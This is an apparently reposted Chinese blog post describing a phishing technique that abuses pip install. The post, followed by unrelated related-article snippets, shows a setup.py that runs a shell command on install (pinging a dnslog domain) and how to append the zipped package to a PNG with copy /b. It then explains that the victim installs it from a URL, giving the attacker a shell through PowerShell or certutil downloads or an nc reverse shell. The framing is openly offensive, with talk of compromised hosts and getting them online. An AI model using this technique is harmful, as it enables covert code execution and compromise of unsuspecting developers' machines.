记录一次即将出现的钓鱼新方式

钓鱼通常是内网渗透过程中的最为常见的入口方式,但是随着蓝队人员溯源反制思路开阔,入侵排查能力提升,钓鱼也越来越困难,这里就记一种不同寻常的钓鱼方式。

pip install 的执行流程:

  1. 先获取到远端的服务器地址 url 比如: http://mirrors.aliyun.com/pypi/simple/
  2. 然后获取到本地的库安装的路径,通过服务器 url 去查找对应的 django 包
  3. 讲找到的包下载到本地
  4. 解压该包到 python 的 site-packages 文件夹中,然后检查是否需要依赖其他包,如果依赖就安装其他的包
  5. 如果有依赖安装则按照同样的流程执行,待完成之后包就安装完成

这里可以看下 pip install 的执行过程

https://blog.csdn.net/qq_33339479/article/details/93094774

这里看下解压的代码,这里 down 下来解压代码如下

def unpack_file(filename: str,location: str,content_type: Optional[str] = None,
) -> None:filename = os.path.realpath(filename)if (content_type == "application/zip"or filename.lower().endswith(ZIP_EXTENSIONS)or zipfile.is_zipfile(filename)):unzip_file(filename, location, flatten=not filename.endswith(".whl"))elif (content_type == "application/x-gzip"or tarfile.is_tarfile(filename)or filename.lower().endswith(TAREXTENSIONS + BZ2EXTENSIONS + XZ_EXTENSIONS)):untar_file(filename, location)else:# FIXME: handle?# FIXME: magic signatures?logger.critical("Cannot unpack file %s (downloaded from %s, content-type: %s);""cannot detect archive format",filename,location,content_type,)raise InstallationError(f"Cannot determine archive format of {location}")

这里先判断了 content-type、filename 的后缀,这里两个都不符合,这里看下最后这个是如何进行判断。需要注意的是,iszipfile() 函数并不会检查文件的扩展名或者文件头等信息来判断文件类型,而是会尝试解压文件并检查解压结果来确定文件是否为 ZIP 压缩文件。因此,即使将非 ZIP 压缩格式的文件的扩展名改为 ".zip",仍然不能通过 iszipfile() 函数的检查。

pip install package_name.zip

这种方式下,pip 会在解压缩安装包后自动执行 setup.py 文件进行安装。在安装过程中,setup.py 文件将会根据包内的 setup.cfg 和 setup.py 文件内容来设置包的安装参数。

所以就导致了静默的命令执行

pip install 引发的命令执行

漏洞复现

(1)先写一段代码

from setuptools import setup
import osdef test():result = os.popen("ping 9uawvq.dnslog.cn")print(result.read())test()setup(name="root",version="1.0"
)

(2)把 setup.py 先放到一个任意文件夹中,然后再将文件夹压缩成 zip 文件,然后再将 zip 文件和 png 图片压缩成 png 图片。(具体命令如下)

(3)然后起一个 http 服务,下图就可以直接访问到。

(4)虚拟机(受害机)直接执行 pip install "http://172.211.55.3/dog2.png" 这里写的命令是 ping dnslog 地址。这里 dnslog 成功接收到。

引发的钓鱼:

假设是 windows 系统上钩,那么我们可以让他执行 powershell 或者 certutils 来进行远程下载并落地执行。这里还是用之前的方法写 powershell 不落地执行的投毒。

这里把 setup.py 改为上述的代码,然后放入到任意文件夹下,然后进行压缩成 1.zip 然后执行代码

copy /b dog.png+1.zip dog2.png

然后肉鸡执行 pip install "http://xxxxx/dog2.png" 即可成功上线。

直接上线 linux(简单实用 nc 命令)

这里修改 setup.py 为如下内容,然后按照复现步骤,将文件夹生成文件。

然后用 pip install "http://xxx/dog2.png" 即可成功上线。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/36021.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

单目标应用:基于吸血水蛭优化器(Blood-Sucking Leech Optimizer,BSLO)的微电网优化(MATLAB代码)

一、微电网模型介绍 微电网多目标优化调度模型简介_vmgpqv-CSDN博客 参考文献: [1]李兴莘,张靖,何宇,等.基于改进粒子群算法的微电网多目标优化调度[J].电力科学与工程, 2021, 37(3):7 二、吸血水蛭优化器求解微电网 2.1算法简介 吸血水蛭优化器(B…

【Java Web】Tomcat服务器

目录 一、Tomcat是什么 二、Tomcat安装 三、Tomcat相关目录 四、Web项目标准目录结构规范 五、Tomcat项目部署方式 六、IDEA关联本地Tomcat 七、HTTP协议 7.1 http的交互方式 7.1.1 http长连接和短连接 7.1.2 http1.1缓存机制 7.2 http数据报文格式 八、常见响应状态码 一、Tom…

印刷企业数字工厂管理系统如何保障产品质量

一、引言 随着信息技术的迅猛发展,印刷行业也迎来了数字化转型的浪潮。数字工厂管理系统作为这一转型的核心工具,不仅在提高生产效率、优化资源配置方面发挥了重要作用,更在保障产品质量上扮演着关键角色。本文将深入探讨印刷企业数字工厂管…

浏览器扩展V3开发系列之 chrome.contextMenus 右键菜单的用法和案例

【作者主页】:小鱼神1024 【擅长领域】:JS逆向、小程序逆向、AST还原、验证码突防、Python开发、浏览器插件开发、React前端开发、NestJS后端开发等等 chrome.contextMenus 允许开发者向浏览器的右键菜单添加自定义项。 在使用 chrome.contextMenus 之前…

本地读取classNames txt文件

通过本地读取classNames,来减少程序修改代码,提高了程序的拓展性和自定义化。 步骤: 1、输入本地路径,分割字符串。 2、将className按顺序放入vector容器中。 3、将vector赋值给classNmaes;获取classNames.size(),赋值给CLASSES;这样,类别个数和类别都已经赋值完成。…

Python | Leetcode Python题解之第199题二叉树的右视图

题目: 题解: class Solution:def rightSideView(self, root: TreeNode) -> List[int]:rightmost_value_at_depth dict() # 深度为索引,存放节点的值max_depth -1stack [(root, 0)]while stack:node, depth stack.pop()if node is not…

第N8周:seq2seq翻译实战-Pytorch复现

🍨 本文为🔗365天深度学习训练营 中的学习记录博客🍖 原作者:K同学啊 | 接辅导、项目定制 一、前期准备 from __future__ import unicode_literals, print_function, division from io import open import unicodedata import s…

50、基于NARX神经网络的磁悬浮建模(matlab)

1、NARX神经网络简介 NARX(非线性自回归外部输入)神经网络是一种用于非线性建模和预测的神经网络结构。与传统的自回归模型不同,NARX网络可以接收外部输入来影响输出结果,从而更好地捕捉系统的复杂性和非线性特征。 NARX神经网络…

竞赛选题 python+深度学习+opencv实现植物识别算法系统

0 前言 🔥 优质竞赛项目系列,今天要分享的是 🚩 基于深度学习的植物识别算法研究与实现 🥇学长这里给一个题目综合评分(每项满分5分) 难度系数:4分工作量:4分创新点:4分 🧿 更多…

基于Java微信小程序自驾游拼团设计和实现(源码+LW+调试文档+讲解等)

💗博主介绍:✌全网粉丝10W,CSDN作者、博客专家、全栈领域优质创作者,博客之星、平台优质作者、专注于Java、小程序技术领域和毕业项目实战✌💗 🌟文末获取源码数据库🌟感兴趣的可以先收藏起来,还…

27. 高级特性(下)

目录 一、为了类型安全和抽象而使用 newtype 模式二、使用类型别名创建类型同义词2.1 使用type关键赋予现有类型一个别名2.2 减少重复2.3 与Result<T, E>结合使用2.4 从不返回的 never type 三、高级函数和闭包3.1 函数指针3.2 返回闭包 四、宏4.1 宏和函数的区别4.2 mac…

python基础语法 003-3 数据类型元组

1 元组 1.1 元组含义 1.1.1 元组的表示 #元组的表示方法:() names ("xiaoyun", "xiaoming") print(names)--结果------- (xiaoyun, xiaoming) 1.1.2 空元组 #空元组 names () print(type(names)) print(len(names))----------------结果--------- &l…

安装vue开发者工具

浏览器控制台提示&#xff1a; 打开网址 GitHub - vuejs/devtools: ⚙️ Browser devtools extension for debugging Vue.js applications. 点击添加 上图地址&#xff1a;Installation | Vue Devtools 安装好了

群体优化算法---石墨烯优化算法介绍以及在期权定价上的应用(Black-Scholes模型来计算欧式期权的理论价格)

介绍 石墨烯算法是一种新兴的优化算法&#xff0c;灵感来自于石墨烯的结构和特性。石墨烯是一种由碳原子构成的二维蜂窝状晶格结构&#xff0c;具有优异的机械、电学和热学性能。石墨烯算法通过模拟石墨烯原子之间的相互作用和迁移&#xff0c;来求解复杂的优化问题 基本概念…

K8S -理解StatefulSet - 部署有状态应用

什么是 有状态服务和 无状态服务 有状态服务&#xff08;Stateful Service&#xff09;&#xff1a; 有状态服务是指在处理请求期间维护和跟踪用户状态或会话信息的服务。这意味着服务在多个请求之间保持状态&#xff0c;并且需要在请求之间共享和使用这些状态信息。通常&…

Websocket在Java中的实践——握手拦截器

在《Websocket在Java中的实践——最小可行案例》一文中&#xff0c;我们看到如何用最简单的方式实现Websocket通信。本文中&#xff0c;我们将介绍如何在握手前后进行干涉&#xff0c;以定制一些特殊需求。 在《Websocket在Java中的实践——最小可行案例》的基础上&#xff0c;…

PID原理及控制算法详解

文章目录 1. 概念 1.1 PID框图 1.2 具体示例&#xff1a;无人机高度控制 2. PID原理 3. 常用术语 4. 计算过程 4.1 比例控制&#xff08;Proportional&#xff09; 4.2 积分控制&#xff08;Integral&#xff09; 4.3 微分控制&#xff08;Derivative&#xff09; 5.…

windows@文件高级共享设置@网络发现功能@从资源管理器网络中访问远程桌面

文章目录 高级共享设置常用选项其他选项操作界面说明 网络类型检查和设置(专用网络和公用网络)&#x1f47a;Note 高级共享设置和防火墙&#x1f47a;命令行方式使用图形界面方式配置 网络发现网络发现功能的详细介绍网络发现的作用&#x1f47a;网络发现的工作原理启用和配置网…

【Python实战因果推断】2_因果效应异质性2

目录 CATE with Regression Evaluating CATE Predictions CATE with Regression 我想你可能已经预料到了&#xff1a;与应用因果推理中的大多数情况一样&#xff0c;答案往往从线性回归开始。但在走这条路之前&#xff0c;让我们把事情变得更具体一些。假设你在一家遍布全国的…

[A133]uboot启动流程

[A133]uboot启动流程 hongxi.zhu 2024-6-21 1. 第一阶段 lds描述 从u-boot.lds中能找到程序的汇编入口ENTRY(_start) brandy/brandy-2.0/u-boot-2018/u-boot.lds OUTPUT_FORMAT("elf32-littlearm", "elf32-littlearm", "elf32-littlearm") OUT…